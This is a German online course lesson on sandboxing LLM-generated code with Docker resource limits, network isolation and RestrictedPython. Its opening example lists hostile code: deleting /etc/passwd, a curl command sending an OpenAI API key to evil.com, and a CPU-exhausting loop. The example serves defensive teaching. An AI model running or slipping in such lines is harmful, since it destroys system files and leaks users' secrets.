Sandboxing mit Docker und RestrictedPython
Erstellen Sie isolierte Ausführungsumgebungen mit Docker-Containern, Ressourcenbeschränkungen, Netzwerkisolation und schreibgeschützten Dateisystemen, um nicht vertrauenswürdigen, von LLMs generierten Code sicher auszuführen.
Sandboxing mit Docker und RestrictedPython ist eine kostenlose AI Engineering Academy-Lektion auf CoddyKit. Dies ist Lektion 2 von 4. Du kannst die komplette Lektion unten kostenlos lesen – dann übst du sie direkt im Browser mit einem integrierten Code-Editor und einem KI-Tutor rund um die Uhr. Sie ist Teil des AI Engineering Academy-Lernpfads, und dein Fortschritt wird über Web und CoddyKit-App synchronisiert. Der AI Engineering Academy-Kurs umfasst insgesamt 4 Lektionen.
Warum Code-Sandboxing unverzichtbar ist
Von einem LLM generierter Code wird mit denselben Berechtigungen wie der aufrufende Prozess ausgeführt. Ein unachtsam erstelltes oder böswillig eingeschleustes Codefragment kann Dateien löschen, Umgebungsvariablen mit API-Schlüsseln auslesen, Netzwerkanfragen senden, RAM oder CPU erschöpfen oder Hintertüren installieren. Sandboxing erstellt eine isolierte Ausführungsumgebung, die die Möglichkeiten des generierten Codes begrenzt und Codeausführungsagenten dadurch sicher genug für den Produktivbetrieb macht.
# Example of dangerous code an LLM might generate
import os
import subprocess
# Without sandboxing, this runs with full host permissions:
os.remove('/etc/passwd') # deletes system file
subprocess.run(['curl', 'http://evil.com', '-d', os.environ['OPENAI_API_KEY']]) # exfiltrates secrets
while True: pass # exhausts CPU
# Sandboxing prevents ALL of thisDocker als Sandbox
Docker-Container sind die praktischste Sandbox für durch LLMs generierten Code im Produktivbetrieb. Für jede Codeausführung wird ein neuer Container erstellt, der auf einem minimalen Image basiert und strenge Ressourcenlimits für CPU, Arbeitsspeicher und Zeit besitzt. Der Container hat keinen Zugriff auf das Dateisystem des Hosts (außer auf ein ausdrücklich eingebundenes Arbeitsverzeichnis), und der Netzwerkzugriff ist deaktiviert oder auf eine Positivliste beschränkt. Nach Abschluss der Ausführung wird der Container gelöscht.
import docker
import tempfile
import os
client = docker.from_env()
def execute_in_docker(code: str, timeout=30) -> tuple[str, str]:
# Write code to temp file
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(code)
host_path = f.name
try:
container = client.containers.run(
image='python:3.11-slim', # minimal Python image
command=f'python /workspace/code.py',
volumes={host_path: {'bind': '/workspace/code.py', 'mode': 'ro'}},
mem_limit='256m', # max 256 MB RAM
cpu_period=100000,
cpu_quota=50000, # 50% of 1 CPU core
network_disabled=True, # no internet access
read_only=True, # read-only root filesystem
remove=True, # auto-delete container
timeout=timeout
)
return container.decode('utf-8'), ''
except docker.errors.ContainerError as e:
return '', e.stderr.decode('utf-8')
finally:
os.unlink(host_path)Ressourcenlimits in Docker
Docker stellt detaillierte Ressourcensteuerungen für Sandbox-Container bereit. Die wichtigsten festzulegenden Limits sind: mem_limit zur Begrenzung des Arbeitsspeichers (z. B. 256m), cpu_quota zur Begrenzung der CPU-Zeit, pids_limit zur Verhinderung von Fork-Bomben sowie ein timeout zum Beenden hängenden Codes. Ohne diese Limits könnte ein schlecht geschriebenes oder böswilliges Codefragment den gesamten Host-Rechner zum Absturz bringen, indem es alle verfügbaren Ressourcen erschöpft.
sandbox_config = {
'image': 'code-sandbox:latest',
'mem_limit': '256m', # 256 MB max RAM
'memswap_limit': '256m', # no swap (prevents RAM expansion via swap)
'cpu_quota': 50000, # 50% of a CPU core
'cpu_period': 100000,
'pids_limit': 64, # max 64 processes (prevents fork bombs)
'network_disabled': True, # no network
'read_only': True, # read-only root filesystem
'tmpfs': {'/tmp': ''}, # writable /tmp in memory only
'security_opt': ['no-new-privileges'], # prevent privilege escalation
'cap_drop': ['ALL'], # drop all Linux capabilities
'remove': True, # auto-remove after execution
}Ein Codeausführungs-Image erstellen
Wenn Sie Code in einem minimalen python:3.11-slim-Image ausführen, sind keine Data-Science-Bibliotheken verfügbar. Erstellen Sie ein benutzerdefiniertes Sandbox-Image, in dem die Pakete vorinstalliert sind, die Ihre Code-Agenten normalerweise benötigen (pandas, numpy, matplotlib, scikit-learn). So müssen sie zur Laufzeit keinen Internetzugriff haben, um Pakete zu installieren. Die Vorinstallation beschleunigt die Ausführung außerdem erheblich.
# Dockerfile for code sandbox
# FROM python:3.11-slim
#
# RUN pip install --no-cache-dir \
# pandas==2.1.0 \
# numpy==1.25.0 \
# matplotlib==3.7.0 \
# scikit-learn==1.3.0 \
# requests==2.31.0 \
# beautifulsoup4==4.12.0
#
# # Create non-root user for extra security
# RUN useradd -m sandbox
# USER sandbox
#
# WORKDIR /workspace
# Build: docker build -t code-sandbox:latest .
# The agent uses this image for every executionRestrictedPython für Sandboxing innerhalb des Prozesses
RestrictedPython ist eine Python-Bibliothek, die Code mit auf AST-Ebene durchgesetzten Sicherheitsbeschränkungen kompiliert. Sie blockiert gefährliche integrierte Funktionen (exec, eval, __import__), schränkt den Attributzugriff ein und verhindert den Zugriff auf Dunder-Methoden. RestrictedPython läuft im selben Prozess (ohne Docker-Overhead) und ist dadurch deutlich schneller, bietet jedoch eine schwächere Isolation als Docker und eignet sich besser für einfachen Code mit geringem Risiko.
from RestrictedPython import compile_restricted, safe_globals, safe_builtins
from RestrictedPython.Guards import safe_iter_unpack_sequence, guarded_getitem
def execute_restricted(code: str) -> dict:
# Compile with restrictions
byte_code = compile_restricted(code, '<string>', 'exec')
# Define a restricted global namespace
restricted_globals = {
'__builtins__': safe_builtins, # no exec, eval, __import__, open
'_getiter_': iter,
'_getitem_': guarded_getitem,
'_iter_unpack_sequence_': safe_iter_unpack_sequence,
'print': print, # allow print
}
local_vars = {}
exec(byte_code, restricted_globals, local_vars)
return local_vars
# Test
try:
result = execute_restricted('x = 2 + 2\nprint(x)')
except Exception as e:
print('Blocked:', e)Docker und RestrictedPython im Vergleich
Die beiden Ansätze für Sandboxing haben unterschiedliche Vor- und Nachteile. Docker bietet eine echte Isolation auf Betriebssystemebene: Jede Ausführung erfolgt in einem separaten Prozess ohne gemeinsamen Zustand, und selbst ein Versuch, eine Kernel-Schwachstelle auszunutzen, bleibt auf den Container beschränkt. Der Nachteil ist ein Start-Overhead von 0,5–2 Sekunden pro Ausführung. RestrictedPython startet innerhalb von Millisekunden und benötigt keine Container-Infrastruktur, bietet jedoch eine deutlich schwächere Isolation und weist bekannte Umgehungsmöglichkeiten für komplexe Angriffe auf.
# Decision guide
def choose_sandbox(requirements: dict) -> str:
if requirements.get('user_provided_code'): # untrusted third party code
return 'docker' # must use Docker for true isolation
if requirements.get('needs_filesystem_access'):
return 'docker' # Docker volumes are safer
if requirements.get('low_latency_critical'): # < 100ms per execution
return 'restrictedpython' # no container startup overhead
if requirements.get('llm_generated_internal_only'): # your own trusted agent
return 'restrictedpython' # acceptable risk, faster
return 'docker' # default to stronger isolation when in doubtErlaubte Operationen per Whitelisting festlegen
Sowohl Docker als auch RestrictedPython unterstützen Whitelisting: Dabei werden ausdrücklich nur die Operationen erlaubt, die der Code-Agent tatsächlich benötigt, anstatt alles Gefährliche zu blockieren. Sie können beispielsweise Operationen von pandas und numpy erlauben, aber subprocess, socket und os.system blockieren. Whitelisting ist sicherer als Blacklisting, da Sie nicht jeden möglichen Angriffsvektor vorhersehen müssen.
from RestrictedPython import safe_builtins
import pandas as pd
import numpy as np
# Whitelist approach: only provide what agents should use
ALLOWED_MODULES = {
'pandas': pd,
'numpy': np,
# NOT allowed: subprocess, socket, os, sys, importlib
}
def make_restricted_globals():
builtins = dict(safe_builtins) # safe subset of Python builtins
builtins['__import__'] = make_guarded_import(ALLOWED_MODULES)
return {'__builtins__': builtins, **ALLOWED_MODULES}
def make_guarded_import(allowed: dict):
def guarded_import(name, *args, **kwargs):
if name not in allowed:
raise ImportError(f'Import of {name} is not allowed in sandbox')
return allowed[name]
return guarded_importPersistente Workspace-Volumes
Ein Code-Agent muss häufig Zwischendateien schreiben (etwa eine bereinigte CSV-Datei oder ein generiertes Diagramm), die die nächste Code-Iteration einlesen kann. Verwenden Sie in Docker ein Workspace-Volume: ein Verzeichnis auf dem Host, das mit Lese- und Schreibzugriff in den Container eingebunden wird. Jede Containerausführung innerhalb derselben Sitzung verwendet dieses Volume gemeinsam. Dadurch kann der Agent über mehrere Iterationen hinweg einen Arbeitsbereich mit Dateien aufbauen, während das Root-Dateisystem des Containers schreibgeschützt bleibt.
import os
import tempfile
class AgentWorkspace:
def __init__(self):
self.dir = tempfile.mkdtemp(prefix='agent_workspace_')
os.chmod(self.dir, 0o755)
print(f'Workspace created: {self.dir}')
def get_docker_mount(self):
return {self.dir: {'bind': '/workspace', 'mode': 'rw'}}
def list_files(self):
return os.listdir(self.dir)
def cleanup(self):
import shutil
shutil.rmtree(self.dir)
print('Workspace cleaned up')
# Usage across iterations
workspace = AgentWorkspace()
for i, code in enumerate(agent_generated_code_iterations):
volumes = workspace.get_docker_mount()
output, err = execute_in_docker(code, volumes=volumes)
# Code in iteration 2 can read files written by iteration 1Sandboxing in Cloud-Umgebungen
In der Produktion möchten Sie Code-Sandboxen häufig in der Cloud statt auf Ihrem API-Server ausführen. Dienste wie AWS Lambda (mit eingeschränkter VPC), Container in Google Cloud Run oder dedizierte Sandboxing-Dienste wie E2B (e2b.dev) stellen verwaltete, isolierte Ausführungsumgebungen bereit. E2B wurde speziell für KI-Code-Agenten entwickelt und bietet eine schnell startende Python-Sandbox mit einer einfachen API.
# E2B managed sandbox (e2b.dev)
from e2b_code_interpreter import Sandbox
def execute_with_e2b(code: str) -> tuple[str, str]:
with Sandbox() as sandbox:
execution = sandbox.run_code(code)
stdout = '\n'.join(execution.logs.stdout)
stderr = '\n'.join(execution.logs.stderr)
return stdout, stderr
# E2B handles: sandboxing, resource limits, network isolation
# Each sandbox starts in ~100ms and auto-expires after the session
output, error = execute_with_e2b('import pandas as pd\ndf = pd.DataFrame({"a": [1,2,3]})\nprint(df)')Überwachung und Audit-Protokollierung
Protokollieren Sie aus Gründen der Sicherheitsüberprüfung trotz des Sandboxings jede Codeausführung. Erfassen Sie den vollständigen zur Ausführung übermittelten Code, Zeitstempel und Dauer der Ausführung, die Agent-Sitzung und den Benutzer, der sie ausgelöst hat, die stdout/stderr-Ausgabe sowie alle versuchten Sicherheitsverletzungen (blockierte Importe und erreichte Ressourcenlimits). Diese Prüfspur ist unverzichtbar, um unerwartetes Verhalten zu untersuchen und die Einhaltung von Vorgaben nachzuweisen.
import time
import hashlib
def audited_execute(code: str, agent_id: str, session_id: str) -> dict:
code_hash = hashlib.sha256(code.encode()).hexdigest()[:16]
start = time.time()
stdout, stderr = execute_in_docker(code)
audit_record = {
'agent_id': agent_id,
'session_id': session_id,
'code_hash': code_hash,
'code_preview': code[:200], # first 200 chars
'start_time': start,
'duration_ms': (time.time() - start) * 1000,
'had_error': bool(stderr),
'output_length': len(stdout)
}
write_audit_log(audit_record)
return {'stdout': stdout, 'stderr': stderr, 'audit': audit_record}Mehrschichtige Absicherung von Code-Agenten
Keine einzelne Sandboxing-Mechanik ist perfekt. Setzen Sie auf mehrschichtige Absicherung: Kombinieren Sie die Isolation durch Docker mit Ressourcenlimits, verwenden Sie im Container einen Benutzer ohne Root-Rechte, deaktivieren Sie den Netzwerkzugriff, nutzen Sie ein schreibgeschütztes Root-Dateisystem mit einem tmpfs für /tmp, führen Sie den Container in einer separaten VM oder Cloud-Funktion mit geringen Berechtigungen aus und überwachen Sie die Ausführung auf ungewöhnliche Ressourcennutzung. Mehrere unabhängige Schutzschichten sorgen dafür, dass die Umgehung einer einzelnen Schicht nicht das gesamte System gefährdet.
Schnelltest
Testen Sie Ihr Verständnis des Sandboxings für Codeausführungen aus dieser Lektion.
Zusammenfassung der Lektion
In dieser Lektion haben Sie gelernt: Docker-Sandboxing gilt als Goldstandard für die sichere Ausführung von durch LLMs generiertem Code und nutzt Isolation auf Containerebene, Ressourcenlimits und Netzwerkbeschränkungen; RestrictedPython ist eine schnellere, aber schwächere Alternative innerhalb desselben Prozesses, die sich für interne Agenten mit geringem Risiko eignet; und mehrschichtige Absicherung kombiniert mehrere Schutzebenen, da keine einzelne Mechanik ausreicht. Als Nächstes behandeln wir die Zustandsverwaltung über mehrere Codeausführungsschritte hinweg.
Häufig gestellte Fragen
Ist die Lektion „Sandboxing mit Docker und RestrictedPython“ kostenlos?
Ja — der vollständige Text von „Sandboxing mit Docker und RestrictedPython“ ist hier im Web kostenlos zu lesen. Um sie interaktiv zu üben (integrierter Code-Editor und 24/7 KI-Tutor) und den Rest des AI Engineering Academy-Kurses freizuschalten, upgrade auf CoddyKit PRO. Der AI Engineering Academy-Kurs umfasst insgesamt 4 Lektionen.
Was lerne ich in „Sandboxing mit Docker und RestrictedPython“?
Erstellen Sie isolierte Ausführungsumgebungen mit Docker-Containern, Ressourcenbeschränkungen, Netzwerkisolation und schreibgeschützten Dateisystemen, um nicht vertrauenswürdigen, von LLMs generierte… Du übst AI Engineering Academy mit praktischem Code, den du direkt im Browser ausführst, und ein 24/7 KI-Tutor beantwortet deine Fragen während du die Lektion bearbeitest.
Brauche ich Erfahrung, um AI Engineering Academy zu starten?
Keine Vorkenntnisse erforderlich. AI Engineering Academy auf CoddyKit ist für Anfänger bis fortgeschrittene Lernende strukturiert, sodass du hier starten oder von Anfang an beginnen und in deinem eigenen Tempo voranschreiten kannst. Dies ist Lektion 2 von 4.
Wie lange dauert die Lektion „Sandboxing mit Docker und RestrictedPython“?
Die meisten CoddyKit-Lektionen dauern etwa 5–10 Minuten. Jede ist kompakt und interaktiv, sodass du stetig Fortschritte machst und genau dort weitermachst, wo du aufgehört hast – im Web und in der App.
Kann ich in dieser AI Engineering Academy-Lektion Code schreiben und ausführen?
Ja. Jede AI Engineering Academy-Lektion enthält einen integrierten Code-Editor, sodass du echten Code direkt in deinem Browser schreibst und ausführst und sofort KI-Feedback erhältst — ohne lokale Einrichtung erforderlich.
Alle Lektionen in diesem Kurs
- Die Code-Ausführungsschleife
- Sandboxing mit Docker und RestrictedPython
- Zustandsverwaltung über mehrere Ausführungsschritte hinweg
- Einen Datenanalyse-Agent entwickeln